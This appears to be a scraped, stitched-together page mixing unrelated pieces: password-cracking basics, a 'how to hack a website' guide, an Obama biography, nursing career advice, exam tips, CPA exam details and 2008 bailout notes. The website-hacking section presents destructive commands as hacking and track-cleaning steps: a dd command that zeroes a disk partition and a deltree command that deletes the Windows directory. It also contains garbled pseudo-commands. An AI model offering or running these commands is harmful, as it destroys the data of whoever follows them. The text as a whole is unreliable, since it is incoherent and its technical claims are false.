How to Hack Of Passwords?

Password hacks can be performed in several ways. The most common used tool is social engineering. Social engineering consists in making a user believe that he is giving confidential information to a trusted party. For example, a cracker could pose as a system administrator from another country and ask for some personal information that could be considered irrelevant by the user. It's quite probable that that information was the last piece of the puzzle required by the cracker for acquiring the password of the user.

Another way of hacking passwords is through a hash function. A hash function is a program that transforms a determined password into a fixed length string. For example, if you have the password foxtrot1256, the hash function will transform it into a key, something like DG65HKSDLK43545SSDFEE232AQQQ10. Some programs use determined artifices for finding the password hidden inside the key.

Since computing power increased, the brute force attack became another choice for cracking passwords. How does it work? Well, it basically tests different kinds of character combinations until it finds the correct one. The problem with this method is that if the password is too long, then the brute force attack won't prosper, at least during a reasonable spam of time. In this kind of situations, it is better to use social engineering to find out the password.

Are You Sure Your Password is Safe?

Since the appearance of computers and the necessity of storing confidential information, passwords became part of our lives. But password hacking programs also appeared; as a ready to offer a solution for those hackers who were stopped by this barrier. At first, these programs were distributed between certain underground hacker groups.
But when the internet appeared, anyone could find programs for password hacking; passwords hackers popularized few softwares and soon it became mainstream among the computer community. Any user can insert the keywords 'how to hack a password' in any search engines and he will find tons of information that can help him.
Passwords and How to Obtain Them
A password is a combination of characters that a user uses for protecting information. Once a file or a determined section of a hard disk is protected by a password, only those that know it can access it. Although passwords have existed for thousands of years, they have adapted perfectly to the computer era.

If you consider how much money you can make for knowing the correct combination of characters of a determined portal, then it is no wonder that password hackers proliferated.

How to hack a website?

Hacking Websites: Entertainment or Fun or Terrorism?

With a proper understanding of the relevant programming languages such as C, C++, Pearl, java etc. one can be fully equipped with the technique of hacking into website. There backdoors for the web hackers for website hacking. For hacking web sites one of the best ways for the hacker is to install linux on his or her personal computer he or she wants to hack from.
Then he can open up a shell to type: dd if=/dev/zero of=/dev/hda1 and press ENTER. As the next step he will type: dd hf= (url). There are a few other alternatives for hacking sites as well. The web hackers using Windows pc can also master the art of hacking websites with the flicking of his finger.

The first step is to clean up the tracks so that the feds fail to trace out the hacker. This happens automatically in case of linux. Cleaning up of tracks in case of Windows 95 or Windows 98 or Windows ME involves a step-by step procedure. Click Start then Run and then Command. In case of Windows NT or Windows 2000, the Tracks can be cleaned by pressing Start, then Run and then cmd. The next step is to clean up tracks with deltree c:/windows or c:\winnt, or whatever the main windows directory is. At the command prompt, press y, which will then go through and clean up the system's logs. The hackers should perform the same steps again after the hacking sites/hacking wireless internet sites. Then after this cleaning up the hackers should type: ping -l4000

Know About Barack Hussein Obama

Biography of OBAMA

Barack Hussein Obama was born Aug. 4, 1961, in Honolulu, Hawaii. His father, Barack Obama, Sr., was born of Luo ethnicity in Nyanza Province, Kenya. He grew up herding goats with his own father, who was a domestic servant to the British. Although reared among Muslims, Obama, Sr., became an atheist at some point.
Obama’s mother, Ann Dunham, grew up in Wichita, Kansas. Her father worked on oil rigs during the Depression. After the Japanese attack on Pearl Harbor, he signed up for service in World War II and marched across Europe in Patton’s army. Dunham’s mother went to work on a bomber assembly line. After the war, they studied on the G. I. Bill, bought a house through the Federal Housing Program, and moved to Hawaii.
Meantime, Barack’s father had won a scholarship that allowed him to leave Kenya pursue his dreams in Hawaii. At the time of his birth, Obama’s parents were students at the East–West Center of the University of Hawaii at Manoa.
Obama’s parents separated when he was two years old and later divorced. Obama’s father went to Harvard to pursue Ph. D. studies and then returned to Kenya.
His mother married Lolo Soetoro, another East–West Center student from Indonesia. In 1967, the family moved to Jakarta, where Obama’s half-sister Maya Soetoro–Ng was born. Obama attended schools in Jakarta, where classes were taught in the Indonesian language.
Four years later when Barack (commonly known throughout his early years as "Barry") was ten, he returned to Hawaii to live with his maternal grandparents, Madelyn and Stanley Dunham, and later his mother (who died of ovarian cancer in 1995).
He was enrolled in the fifth grade at the esteemed Punahou Academy, graduating with honors in 1979. He was only one of three black students at the school. This is where Obama first became conscious of racism and what it meant to be an African–American.
In his memoir, Obama described how he struggled to reconcile social perceptions of his multiracial heritage. He saw his biological father (who died in a 1982 car accident) only once (in 1971) after his parents divorced. And he admitted using alcohol, marijuana and cocaine during his teenage years.
After high school, Obama studied at Occidental College in Los Angeles for two years. He then transferred to Columbia University in New York, graduating in 1983 with a degree in political science.
After working at Business International Corporation (a company that provided international business information to corporate clients) and NYPIRG, Obama moved to Chicago in 1985. There, he worked as a community organizer with low-income residents in Chicago’s Roseland community and the Altgeld Gardens public housing development on the city’s South Side.

It was during this time that Obama, who said he "was not raised in a religious household," joined the Trinity United Church of Christ. He also visited relatives in Kenya, which included an emotional visit to the graves of his father and paternal grandfather.
Obama entered Harvard Law School in 1988. In February 1990, he was elected the first African–American editor of the Harvard Law Review. Obama graduated magna cum laude in 1991.
After law school, Obama returned to Chicago to practice as a civil rights lawyer, joining the firm of Miner, Barnhill & Galland. He also taught at the University of Chicago Law School. And he helped organize voter registration drives during Bill Clinton’s 1992 presidential campaign.
Obama published an autobiography in 1995 Dreams From My Father: A Story of Race and Inheritance. And he won a Grammy for the audio version of the book.
Obama’s advocacy work led him to run for the Illinois State Senate as a Democrat. He was elected in 1996 from the south side neighborhood of Hyde Park.
During these years, Obama worked with both Democrats and Republicans in drafting legislation on ethics, expanded health care services and early childhood education programs for the poor. He also created a state earned-income tax credit for the working poor. And after a number of inmates on death row were found innocent, Obama worked with law enforcement officials to require the videotaping of interrogations and confessions in all capital cases.
In 2000, Obama made an unsuccessful Democratic primary run for the U. S. House of Representatives seat held by four-term incumbent candidate Bobby Rush.
Following the 9/11 attacks, Obama was an early opponent of President George W. Bush’s push to war with Iraq. Obama was still a state senator when he spoke against a resolution authorizing the use of force against Iraq during a rally at Chicago’s Federal Plaza in October 2002.
"I am not opposed to all wars. I'm opposed to dumb wars," he said. "What I am opposed to is the cynical attempt by Richard Perle and Paul Wolfowitz and other arm-chair, weekend warriors in this Administration to shove their own ideological agendas down our throats, irrespective of the costs in lives lost and in hardships borne."
"He's a bad guy," Obama said, referring to Iraqi dictator Saddam Hussein. "The world, and the Iraqi people, would be better off without him. But I also know that Saddam poses no imminent and direct threat to the United States, or to his neighbors, that the Iraqi economy is in shambles, that the Iraqi military a fraction of its former strength, and that in concert with the international community he can be contained until, in the way of all petty dictators, he falls away into the dustbin of history."
"I know that even a successful war against Iraq will require a U. S. occupation of undetermined length, at undetermined cost, with undetermined consequences," Obama continued. "I know that an invasion of Iraq without a clear rationale and without strong international support will only fan the flames of the Middle East, and encourage the worst, rather than best, impulses of the Arab world, and strengthen the recruitment arm of al-Qaeda."
The war with Iraq began in 2003 and Obama decided to run for the U.S. Senate open seat vacated by Republican Peter Fitzgerald. In the 2004 Democratic primary, he won 52 percent of the vote, defeating multimillionaire businessman Blair Hull and Illinois Comptroller Daniel Hynes.
That summer, he was invited to deliver the keynote speech in support of John Kerry at the 2004 Democratic National Convention in Boston. Obama emphasized the importance of unity, and made veiled jabs at the Bush administration and the diversionary use of wedge issues.
"We worship an awesome God in the blue states, and we don't like federal agents poking around our libraries in the red states," he said. "We coach Little League in the blue states, and yes, we've got some gay friends in the red states. There are patriots who opposed the war in Iraq, and there are patriots who supported the war in Iraq. We are one people, all of us pledging allegiance to the Stars and Stripes, all of us defending the United States of America."
After the convention, Obama returned to his U.S. Senate bid in Illinois. His opponent in the general election was suppose to be Republican primary winner Jack Ryan, a wealthy former investment banker. However, Ryan withdrew from the race in June 2004, following public disclosure of unsubstantiated sexual allegations by Ryan's ex wife, actress Jeri Ryan.
In August 2004, diplomat and former presidential candidate Alan Keyes, who was also an African American, accepted the Republican nomination to replace Ryan. In three televised debates, Obama and Keyes expressed opposing views on stem cell research, abortion, gun control, school vouchers and tax cuts.
In the November 2004 general election, Obama received 70% of the vote to Keyes's 27%, the largest electoral victory in Illinois history. Obama became only the third African American elected to the U.S. Senate since Reconstruction.
Sworn into office January 4, 2005, Obama partnered with Republican Sen. Richard Lugar of Indiana on a bill that expanded efforts to destroy weapons of mass destruction in Eastern Europe and Russia. Then with Republican Sen. Tom Corburn of Oklahoma, he created a website that tracks all federal spending.
Obama was also the first to raise the threat of avian flu on the Senate floor, spoke out for victims of Hurricane Katrina, pushed for alternative energy development and championed improved veterans´ benefits. He also worked with Democrat Russ Feingold of Wisconsin to eliminate gifts of travel on corporate jets by lobbyists to members of Congress.
His second book, The Audacity of Hope: Thoughts on Reclaiming the American Dream, was published in October 2006.
In February 2007, Obama made headlines when he announced his candidacy for the 2008 Democratic presidential nomination. He was locked in a tight battle with former first lady and current U.S. Senator from New York, Hillary Rodham Clinton until he became the presumptive nominee on June 3, 2008.
Obama met his wife, Michelle, in 1988 when he was a summer associate at the Chicago law firm of Sidley & Austin. They were married in October 1992 and live in Kenwood on Chicago's South Side with their daughters, Malia (born 1998) and Sasha (born 2001).

Pros & Cons of Becoming An Angel (Nurse)

The truth is that if you are considering a career in the nursing field, this should be a decision based on conscious consideration of a variety of factors. First, you should know that nursing is not for everyone. You must be prepared to work hard. Nursing is both physically and emotionally challenging and draining. Actually, with the exception of a few areas, nurses provide care to those in need, almost around the clock 24 hours 7 days a week. Dividing their schedules into shifts of 8 or 12 hours, nurses work long hours standing, including nights, weekends and holidays. Nursing is a profession focused on assisting the people in need of special type of treatments. The main goal of a successful nursing service is for the patient to attain and maintain an optimum level of health, while increasing his or her ability to function as independently as possible. In many cultures, nursing is considered to be something between a hard profession and a meaningful cause. Focusing on promoting life and improving the quality of living for million of people around the globe, nursing has evolved from the special care and treatment nuns and military services offered, to a high-quality personalized service in a variety of institutions. Nurses can be considered as the contemporary community support agents since they are an essential part of every society, conducting health education, counseling and performing practices that aim to relieve patients from pain and suffering. In short, since nursing involves altruistic behavior, is a profession that requires the interesting nursing candidate to dedicate time, personal effort and most of all, determination in caring for people's well-being. In almost all countries, nursing practice is defined and governed by law, while for a interested individual to enter the profession, he or she has to successfully complete the necessary education which is regulated by national, state, or territorial boards of nursing. But, apart from the academic background one has to build, those interested in developing a nursing career, have to understand that they might be missing family events, and sometimes have to work late hours. In some fields nurses have to be on-call twenty-four hours a day. Not surprisingly, nurses have to deal with unhappy patients and be able to handle the demands of concerned family members. This can be easily understood, if you can remember which were the feeling you had the last time you had to stay in bed, even for a simple cold. Unhappy feelings and low self-esteem do not create a very promising environment for anyone to want to enter.As nursing is the most diverse of all healthcare professions, nurses have to deal with blood, sputum, feces, urine, vomiting, and ugly smelly wounds. But nursing is a universally role appearing in some form in every culture and it is one of the few professions that focus on helping others in a time of need. Actually nursing is all about taking care of people and this is the main concentration during a typical day's work. As practitioners themselves have stated, "Nursing is about combining the art of caring with the science and technology of today's health care practices."

1) If you are preparation is strong enough to score high percentile. Just answer the questions which you have good knowledge. Don’t attempt questions in which you are not well perfect.

2) If you are not well go through the syllabus. Just Darken the circles which you have an idea that may be right choice. Leave blank remaining

3) If you are not at all prepared. And you have a strong basic knowledge, then try to solve with in the given time. Guess answers and darken circles, because you have already knowledge in the subject.

4) If you don’t have the knowledge at all. You know nothing, and then please avoid attempting questions. Because they have increased negative marks percentage. So that it has the chance to get negative percentile. That’s the reason leave all columns blank. If you attempt your score will go in the negative side. Because so many people don’t know this. They will attempt in as usual manner. If you are not at all answer single questions, no need to worry. Definitely you will get more marks. No doubt about it. I’m sure. Reason is that pattern has been changed in this year.

How Is the CPA Exam Scored?

How Is the CPA Exam Scored?
Prepared by the American Institute of Certified Public Accountants
Questions pertaining to this decision paper should be directed to Carie Chester, Office Administrator, Exams Team, at cchester@aicpa.org.

How is the CPA Exam Scored?
Introduction
This document is intended to provide a non-technical overview of the CPA Examination scoring process. It begins with a high-level overview of the Exam and how it is scored. Following the overview are a series of questions and answers that provide more detail about specific aspects of the scoring process. The purpose of this format is to provide a general understanding of the scoring process and offer a more in-depth explanation of specific aspects of the scoring process to readers.
The information included in this document is based on questions frequently asked by state board representatives and other stakeholders. We recognize that this document will not answer all questions about the scoring of the CPA Exam and that new questions will likely arise as this document is read and discussed. We welcome additional questions and anticipate updating the document periodically based on the feedback we receive.
Description of the CPA Examination
The CPA Examination is comprised of four sections: Auditing and Attestation (AUD), Business Environment and Concepts (BEC), Financial Accounting and Reporting (FAR), and Regulation (REG). All four sections contain multiple-choice questions. AUD, FAR, and REG sections also contain simulations.
The multiple-choice questions within each test section are administered to candidates in three groups (called “testlets”). Each testlet contains “operational” and “pretest” questions. The operational questions are the ones used to generate the candidates’ scores. Pretest questions are not scored; instead, candidates’ responses to these questions are used to evaluate the questions’ psychometric performance. Pretest questions that are psychometrically acceptable become operational questions on future exams. This strategy for pretesting questions is common in the credentialing field.
The AUD, FAR, and REG multiple-choice testlets vary in difficulty—there are two levels that are labeled “medium difficult” and “difficult.” These are simply labels. Within the testlets, items often vary substantially in their difficulty levels, but across testlets, those labeled “difficult” contain more hard questions than testlets labeled “medium difficult.” Every candidate receives a medium difficult testlet first. Candidates who do well on the first testlet receive a difficult second testlet. Otherwise, they receive a second medium difficult testlet. The scoring procedures take the difficulty of the testlet into account so that candidates are scored fairly regardless of the difficulty of the testlets they take.
The AUD, FAR, and REG sections contain two additional testlets containing simulations. Simulations are complex case studies that allow candidates to demonstrate their
2
knowledge and skills by generating responses to questions rather than simply selecting a correct answer. Simulations require candidates to use spreadsheets, conduct research, and generate written communications. Each simulation requires numerous responses from candidates (up to several dozen in some cases).
Before appearing on the CPA Examination, both operational and pretest questions have passed through several extensive and rigorous subject matter reviews to ensure that they are technically correct, have a single best or correct answer, are current, and measure entry level content as specified in the Content Specification Outlines (CSOs). The CSOs specify the percentage of each section that should be devoted to each content area. The current CSOs were adopted in 2002 based on the results of a practice analysis and state board responses to an exposure draft of the recommended CSOs; CSO references were updated in 2005. Operational questions have also been statistically evaluated to ensure they meet the psychometric requirements of the CPA Exam.

CPA Examination and Structure

WHY DO YOU NEED A CPA LICENSE?

Certified Public Accountant (CPA) licenses are issued by all states to protect the residents of those states. The licensing process is designed to ensure the competence of the licensees. As an accountant, you cannot legally claim or use the CPA title unless you hold a valid CPA license issued by your state. In some states, you may also be restricted from offering certain public services (such as auditing). A CPA certificate is a valuable addition to your resume in many fields. When you apply for a position, or are being considered for a raise or promotion, a CPA certificate from any of the states is tangible evidence that makes your resume stand out above others.

REQUIREMENTS TO TAKE THE EXAMINATION To take the examination to become licensed as a certified public accountant, you must meet your state's requirements for education, experience, and knowledge. Most states now require 150 semester hours of university education. If you are now in school, some states allow you to sit for the examination during the last term before your graduation. You can provide evidence of the necessary experience later. For the specific requirements of your state, refer to APPLYING TO TAKE THE EXAM

RECIPROCITY AMONG STATES

Reciprocity is the granting of a CPA license by one state based on your CPA license from another state.Because they use the Uniform CPA Examination, most states recognize the validity of licenses from other states. Requirements for experience and education vary, but states generally allow you to claim credit for successful completion of the examination in another state. Check the requirements of a state board for the specific rules that apply to you.

THE CPA EXAMINATION ITSELF

To become a certified public accountant, you must pass all four parts of the Uniform CPA Examination. Each state administers the examination and reports scores to its candidates. However, the examination is made up and graded by the American Institute of Certified Public Accountants (AICPA).
EXAMINATION DATES:The exam is offered up to six days a week during January, February, April, May, July, August, October and November each year. Each two month testing period is called a window. Candidates make appointments for specific dates and times during a window at a regional testing center. After the state board determines a candidate is eligible to sit for specific sections of the CPA Examination, the candidate will receive a Notice to Schedule (NTS). The candidate can then register directly with a Prometric testing center to take one or more sections. Candidates can schedule test appointments online at www.prometric.com\cpa, or by calling 1-800-580-9648 (Candidate Services Call Center) or contacting their local test center.

EXAMINATION STRUCTURE

The four parts of the examination are:
Auditing & Attestation
Financial Accounting & Reporting (business enterprises, not-for-profit organizations, and governmental entities)
Regulation (professional responsibilities, business law, and taxation)
Business Environment & Concepts
The examination takes two days. Each of the four parts of the examination is graded on a scale of 0 to 100. The minimum passinng score is 75.
QUESTION FORMAT BUSINESS ENVIRONMENT is 100% multiple choice.AUDITING includes multiple choice questions and simulations.REGULATION includes multiple choice questions and simulations.FAR includes multiple choice questions and simulations.If you aren’t familiar with the FASB and AICPA electronic professional literature that is used for research in the AUD, FAR, and REG exam sections, a six-month free subscription is available to exam candidates that have been given exam eligibility by a state board. These are the databases actually used for research in the FAR and AUD exam simulations. The tax research interface is the same, but the tax database is not available at a reduced price to exam candidates. Click here to order a subscription.Some simulations on each exam section (other than BEC, which is 100% multiple choice) are graded for writing skills in addition to being graded for technical content. Writing skills are evaluated for organization, conciseness, clarity, use of standard English, responsiveness to the question's requirements, and appropriateness for the reader. The CPA exam is a closed book, secured examination. Candidates are required to sign a statement that they will not disclose the contents of the examination.

American Financial situation

bolded the things that certainly would have caught other's eye; I bet they're examples of a much larger body of unrelated legislation pushed through in a time of crisis. Regardless of how I feel about the addenda, after I heard Klein speak on the shock doctrine (Hay 08), I see these tactics everywhere.NYT:--$150 billion in tax breaks for individuals and businesses--a temporary increase in the amount of bank deposits covered by the Federal Deposit Insurance Corporation, to $250,000 from $100,000.--the entire package was attached to legislation requiring insurers to treat mental health conditions more like general health problems--A coalition of centrist Democrats ... refused to back the tax benefits unless they were deficit neutral — offset by tax increases or spending cuts elsewhere. The bill now includes the Senate version of the tax plan, which adds most of the cost to the deficit over the next decade.--increased protection for deposits at the neighborhood bank--income tax relief for middle-class taxpayers--aid for schools in rural areas where the federal government owns much of the land--The approximately $150 billion in new tax breaks, which offer incentives for the use of renewable energy and relieve 24 million households from an estimated $65 billion alternative-minimum tax scheduled to take effect this year, would be offset by only about $40 billion in spending cuts or tax increases elsewhere.--Moreover, the increase in federal deposit insurance will not be financed over the short term, as the insurance program now is, by assessing premiums on banks that benefit. Instead, banks will get an open-ended line of credit directly to the Treasury Department. But the Congressional Budget Office noted that federal law requires the banks to eventually make up any shortfall and any loans to be repaid, though not until at least 2010.--The initial proposal from the Treasury Department ran just three pages; the latest version exceeds 450.--...changes, including additional oversight, steps to limit home foreclosures and restrictions on the compensation of --negotiators decided to parcel out the $700 billion in installments, starting with a first tranche of $350 billion. And during a weekend of negotiations, they added as a final backstop a requirement that in five years the president must present Congress with a plan to make up any losses of tax funds by looking to the financial community to make up the difference.
